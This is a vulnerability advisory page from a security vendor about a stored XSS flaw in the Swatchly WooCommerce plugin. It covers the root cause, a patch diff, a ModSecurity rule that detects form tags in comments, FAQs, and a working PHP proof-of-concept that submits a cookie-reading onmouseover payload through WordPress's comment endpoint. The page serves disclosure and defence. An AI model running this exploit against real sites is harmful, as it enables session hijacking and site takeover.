Atomic Edge analysis of CVE-2026-133368:nnSwatchly is a WooCommerce product variation swatches plugin for WordPress. Versions up to and including 1.4.18 contain a stored cross-site scripting (XSS) vulnerability in the comment content path. The flaw is rated CVSS 7.2 and maps to CWE-79. Atomic Edge research confirms the vulnerability is gated on Elementor being installed and active.nnRoot Cause: The plugin’s Elementor compatibility layer in swatchly/includes/Compatibility/Elementor.php unconditionally registers add_filter(‘wp_kses_allowed_html’, array($this, ‘related_products_compatibility’), 10, 2) in the constructor whenever Elementor is active. The related_products_compatibility() callback returns an expanded $allowedposttags array that includes the ‘form’ element and its attributes. Because this filter is global, it applies to every wp_kses() call site, including wp_kses_data() used by WordPress on comment content before storage. As a result, the widened kses allowlist leaks into comment sanitization, permitting raw tags and related attributes to survive comment filtering. The Woo_Config.php change on line 111 also force-loaded the variation JS on every page via __return_true, increasing the attack surface. Combined, an unauthenticated commenter can post markup that bypasses default WordPress kses restrictions.nnExploitation: The attacker posts to /wp-comments-post.php with the ‘comment’ parameter containing an XSS payload wrapped in an allowed form element, for example hover, or other event-bearing attributes the widened allowlist accepts. WordPress’s default comment_previously_approved setting auto-approves subsequent comments from the same author name and email after one prior comment is approved. The payload is stored in the comments table and rendered unescaped on any page displaying comments. Visitors trigger execution on interaction (e.g., mouseover). No authentication is required beyond the prior-approval precondition.nnPatch Analysis: Version 1.4.19 replaces the unconditional wp_kses_allowed_html filter with a scoped pair of hooks. add_kses_filter() binds related_products_compatibility() only during elementor/frontend/widget/before_render, and remove_kses_filter() unbinds it on elementor/frontend/widget/after_render. The callback now returns $allowedposttags unchanged unless $context is exactly ‘post’, so non-post contexts (such as comment sanitization) never receive the widened allowlist. Separately, Woo_Config.php replaces the unconditional __return_true filter for swatchly_force_load_add_to_cart_variation_js_file_in_shop with a closure that force-loads the JS only when is_woocommerce() is true. This narrows the frontend attack surface.nnImpact: Successful exploitation yields stored XSS in the context of any user viewing the affected comment, including administrators. An attacker can hijack sessions, inject persistent admin-side actions (creating rogue administrator accounts, installing plugins), exfiltrate cookie and nonce data, and pivot to full site compromise. The 7.2 CVSS reflects network-exploitable, low-complexity, privilege-escalation-class impact. Atomic Edge recommends immediate upgrade to 1.4.19 or later and, as a defense in depth, restricts comment moderation and audits existing comments for injected form elements.

CVE-2026-133368: Swatchly <= 1.4.18 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule
CVE-2026-133368
swatchly
1.4.18
1.4.19
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/swatchly/includes/Compatibility/Elementor.php
+++ b/swatchly/includes/Compatibility/Elementor.php
@@ -8,11 +8,26 @@
public function __construct() {
if( is_plugin_active('elementor/elementor.php') ){
// for related products
- add_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10, 2);
+ // Security: widen kses only while an Elementor widget renders on the frontend,
+ // never on save paths (comments, post content, etc.) to prevent stored XSS.
+ add_action('elementor/frontend/widget/before_render', array( $this, 'add_kses_filter' ));
+ add_action('elementor/frontend/widget/after_render', array( $this, 'remove_kses_filter' ));
}
}
+ public function add_kses_filter(){
+ add_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10, 2);
+ }
+
+ public function remove_kses_filter(){
+ remove_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10);
+ }
+
public function related_products_compatibility( $allowedposttags, $context ){
+ if( 'post' !== $context ){
+ return $allowedposttags;
+ }
+
$allowedposttags['form'] = array(
'id' => true,
'name' => true,
--- a/swatchly/includes/Frontend/Woo_Config.php
+++ b/swatchly/includes/Frontend/Woo_Config.php
@@ -111,7 +111,11 @@
}
}, 999);
- add_filter('swatchly_force_load_add_to_cart_variation_js_file_in_shop', '__return_true');
+ // Only force-load on WooCommerce pages (shop/archives), not on every page that may render user content.
+ // Use this filter to force-load elsewhere (e.g. custom pages with product grids + infinite scroll).
+ add_filter('swatchly_force_load_add_to_cart_variation_js_file_in_shop', function( $force ){
+ return $force || ( function_exists('is_woocommerce') && is_woocommerce() );
+ });
}
/**
--- a/swatchly/swatchly.php
+++ b/swatchly/swatchly.php
@@ -3,7 +3,7 @@
* Plugin Name: Swatchly - Variation Swatches for WooCommerce Products
* Plugin URI: https://plugindemo.hasthemes.com/swatchly/
* Description: Variation Swatches for WooCommerce Products
- * Version: 1.4.18
+ * Version: 1.4.19
* Author: HasThemes
* Author URI: https://hasthemes.com
* License: GPL v2 or later
@@ -29,7 +29,7 @@
*
* @since 1.0.0
*/
- public $version = '1.4.18';
+ public $version = '1.4.19';
/**
* The single instance of the class
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-133368
# Stored XSS via WordPress comment submission (/wp-comments-post.php).
# The vulnerability is caused by Swatchly widening wp_kses_allowed_html to permit <form>
# on the comment sanitization path (only when Elementor is active). Legitimate WordPress
# comments never contain <form> tags because core kses strips them, so matching <form
# inside the comment parameter is a precise exploit signature with negligible false positives.
SecRule REQUEST_URI "@streq /wp-comments-post.php"
"id:20261336,phase:2,deny,status:403,chain,msg:'CVE-2026-133368 Swatchly stored XSS via comment form element',severity:'CRITICAL',tag:'CVE-2026-133368',tag:'attack-xss'"
SecRule ARGS_POST:comment "@rx <s*form[s>]" "t:urlDecodeUni,t:htmlEntityDecode"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133368 - Swatchly <= 1.4.18 - Unauthenticated Stored Cross-Site Scripting via Comment Content
//
// Preconditions for successful exploit:
// 1. Elementor plugin is installed and active (Swatchly gates its kses filter on Elementor).
// 2. The attacker has had at least one prior comment approved on the target site with
// a fixed author name and email. WordPress then auto-approves subsequent comments
// from the same name/email pair (comment_previously_approved option).
//
// Usage:
// php poc.php <target_base_url> <author_name> <author_email>
// Example:
// php poc.php https://victim.example.com "Attacker" "attacker@example.com"
$target_url = $argv[1] ?? 'http://localhost';
$author_name = $argv[2] ?? 'Atomic Edge PoC';
$author_email = $argv[3] ?? 'poc@atomic-edge.example';
// XSS payload wrapped in the <form> element that Swatchly's kses widening allows.
// Default WordPress kses strips <form>; Swatchly's Elementor compatibility filter re-adds it.
$payload = '<form id="ae_xss" onmouseover="alert(document.cookie)" style="display:block;width:100%;height:50px;background:#eee">Atomic Edge CVE-2026-133368 - hover to trigger</form>';
// Comment submission endpoint. WordPress core handles this route.
$endpoint = rtrim($target_url, '/') . '/wp-comments-post.php';
// Extract the post ID from the homepage; we comment on the first post we find.
$homepage = @file_get_contents(rtrim($target_url, '/'));
if ($homepage === false) {
fwrite(STDERR, "[-] Failed to fetch homepage: $target_urln");
exit(1);
}
if (!preg_match('/name="comment_post_ID"s+value="(d+)"/i', $homepage, $m)) {
fwrite(STDERR, "[-] Could not locate comment_post_ID on homepage. Supply a post URL manually.n");
exit(1);
}
$post_id = $m[1];
// Build the POST body that lands on /wp-comments-post.php.
$post_fields = array(
'comment' => $payload,
'author' => $author_name,
'email' => $author_email,
'url' => '',
'comment_post_ID' => $post_id,
'comment_parent' => '0',
);
$ch = curl_init($endpoint);
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_fields),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_HTTPHEADER => array('Content-Type: application/x-www-form-urlencoded'),
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);
if ($response === false) {
fwrite(STDERR, "[-] cURL error: $errn");
exit(1);
}
// WordPress returns 302 to the post or the moderation page on success.
echo "[*] Posted comment to post ID $post_id (HTTP $http_code)n";
echo "[*] Payload: $payloadn";
echo "[*] If the author name/email were previously approved, the comment is now auto-approved.n";
echo "[*] Verify by visiting the post URL while logged out.n";
Frequently Asked Questions
What is CVE-2026-133368?
Vulnerability overviewCVE-2026-133368 is a stored cross-site scripting vulnerability in the Swatchly product variation swatches plugin for WooCommerce, affecting versions up to and including 1.4.18. It allows an unauthenticated attacker to inject script-bearing markup through the comment field, which is then stored and rendered to other visitors. The flaw is rated High severity with a CVSS score of 7.2 and maps to CWE-79.
How does the vulnerability work technically?
Root causeSwatchly’s Elementor compatibility layer registers a global wp_kses_allowed_html filter that widens the allowed HTML tag list to include form elements and their attributes. Because the filter is global, it also applies to comment sanitization, so markup that WordPress would normally strip survives comment filtering. The stored payload then executes when a visitor interacts with the affected comment.
Why is Elementor required for exploitation?
Exploitation preconditionSwatchly only registers the vulnerable filter when Elementor is installed and active, because the code lives in its Elementor compatibility module. On sites without Elementor, the filter is never added and the kses allowlist is not widened. This means the vulnerability is not exploitable on Swatchly installations that do not run Elementor.
Why does the attacker need a previously approved comment?
Auto-approval behaviorWordPress’s default comment_previously_approved setting automatically approves new comments from an author name and email pair that has an already approved comment. An attacker can therefore get one benign comment approved, then submit the malicious payload from the same identity and have it published without moderation. This precondition lowers the barrier but does not eliminate the need for one approved comment.
Who is affected by this vulnerability?
Affected installationsAny WordPress site running Swatchly version 1.4.18 or earlier with the Elementor plugin active is potentially affected. Sites that use Swatchly without Elementor, or that have already updated to 1.4.19 or later, are not exposed to this specific issue. Sites that disable comments entirely also remove the primary attack path.
How can I check whether my site is vulnerable?
Detection stepsConfirm the installed Swatchly version in the Plugins screen or via WP-CLI, and verify whether Elementor is active. If Swatchly is at 1.4.18 or below and Elementor is enabled, the site meets the vulnerable configuration. Reviewing the comments table for unexpected form elements or event-handler attributes can help identify prior exploitation attempts.
What is the recommended fix?
PatchingUpgrade Swatchly to version 1.4.19 or later, which scopes the kses filter to Elementor widget rendering and restricts the widened allowlist to the post context only. The patch also limits forced loading of the variation JavaScript to WooCommerce pages. Updating the plugin is the definitive remediation.
What can I do if I cannot update immediately?
Mitigation optionsAs a temporary measure, enable moderation for all comments so no comment is published without review, and consider disabling comments if they are not needed. You can also deactivate Elementor if it is not in active use, which prevents the vulnerable filter from being registered. These measures reduce risk but do not replace patching.
What does a CVSS score of 7.2 mean in practice?
Risk interpretationA score of 7.2 places the issue in the High severity range, reflecting network-based exploitation with low complexity and significant impact on confidentiality, integrity, and availability. In practical terms, a successful attack can execute script in the browser of any user viewing the comment, including administrators. This can lead to session hijacking, unauthorized administrative actions, and broader site compromise.
How does the proof of concept demonstrate the issue?
PoC behaviorThe proof of concept submits a comment to wp-comments-post.php containing a payload wrapped in a form element that the widened kses allowlist permits. It relies on the two preconditions: Elementor being active and the attacker having one previously approved comment. The script illustrates that unauthenticated users can store markup that bypasses default WordPress sanitization.
What should I do if I suspect my site was exploited?
Incident responseAudit the comments table for injected form elements or event-handler attributes and remove any suspicious entries. Review administrator accounts and plugin installations for unauthorized changes, and rotate credentials and salts if compromise is suspected. Applying the 1.4.19 update should be part of the remediation, along with tightening comment moderation settings.
Does the patch change any other behavior?
Patch side effectsYes. Version 1.4.19 also changes how the variation JavaScript is force-loaded, restricting it to WooCommerce pages rather than every page. Site owners who relied on the previous global loading behavior on custom pages may need to use the provided filter to force-load the script where required. This change narrows the frontend attack surface but may require configuration review.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






